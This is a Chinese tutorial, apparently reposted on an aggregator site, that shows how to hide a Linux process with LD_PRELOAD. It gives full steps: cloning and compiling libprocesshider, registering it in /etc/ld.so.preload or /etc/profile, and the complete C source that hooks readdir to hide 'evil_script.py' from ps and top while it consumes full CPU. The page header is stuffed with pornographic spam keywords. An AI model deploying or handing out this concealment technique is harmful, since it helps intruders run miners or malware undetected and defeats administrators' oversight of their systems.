日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

c程序隐藏linux,linux 下隐藏进程的一种方法

發布時間:2024/4/19 linux 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 c程序隐藏linux,linux 下隐藏进程的一种方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

思路就是利用 LD_PRELOAD 來實現系統函數的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

實現

1.下載程序編譯

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git

Cloning into 'libprocesshider'...

remote: Counting objects: 26, done.

remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26

Unpacking objects: 100% (26/26), done.

bmfxgkpt-yhd:~# cd libprocesshider/

bmfxgkpt-yhd:~/libprocesshider# make

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

bmfxgkpt-yhd:~/libprocesshider#

2.移動文件到/usr/local/lib/目錄下

mv libprocesshider.so /usr/local/lib/

3.把它加載到全局動態連接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

測試

我們運行evil_script.py

此時發現在top 與 ps 中都無法找到 evil_script.py

此時我們發現 cpu 100%,但是卻找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE

#include

#include

#include

#include

#include

/*

* Every process with this name will be excluded

*/

static const char* process_to_filter = "evil_script.py";

/*

* Get a directory name given a DIR* handle

*/

static int get_dir_name(DIR* dirp, char* buf, size_t size)

{

int fd = dirfd(dirp);

if(fd == -1) {

return 0;

}

char tmp[64];

snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

ssize_t ret = readlink(tmp, buf, size);

if(ret == -1) {

return 0;

}

buf[ret] = 0;

return 1;

}

/*

* Get a process name given its pid

*/

static int get_process_name(char* pid, char* buf)

{

if(strspn(pid, "0123456789") != strlen(pid)) {

return 0;

}

char tmp[256];

snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");

if(f == NULL) {

return 0;

}

if(fgets(tmp, sizeof(tmp), f) == NULL) {

fclose(f);

return 0;

}

fclose(f);

int unused;

sscanf(tmp, "%d (%[^)]s", &unused, buf);

return 1;

}

#define DECLARE_READDIR(dirent, readdir) \

static struct dirent* (*original_##readdir)(DIR*) = NULL; \

\

struct dirent* readdir(DIR *dirp) \

{ \

if(original_##readdir == NULL) { \

original_##readdir = dlsym(RTLD_NEXT, "readdir"); \

if(original_##readdir == NULL) \

{ \

fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \

} \

} \

\

struct dirent* dir; \

\

while(1) \

{ \

dir = original_##readdir(dirp); \

if(dir) { \

char dir_name[256]; \

char process_name[256]; \

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

strcmp(dir_name, "/proc") == 0 && \

get_process_name(dir->d_name, process_name) && \

strcmp(process_name, process_to_filter) == 0) { \

continue; \

} \

} \

break; \

} \

return dir; \

}

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

程序定義了一個變量 process_to_filter 來控制不顯示哪個進程名

重寫readdir, strcmp(process_name, process_to_filter) == 0) 當發現當前進程名稱與 process_to_filter 相同時,繼續循環.

遇到的坑

某些Linux中這個程序編譯通不過

解決方法

刪除最后兩行中的一行

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

某些Linux中使用 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

并不會生效 此時我們需要配置環境變量 bmfxgkpt-yhd:~# vi /etc/profile

增加一行 export LD_PRELOAD=/usr/local/lib/libprocesshider.so

總結

以上是生活随笔為你收集整理的c程序隐藏linux,linux 下隐藏进程的一种方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。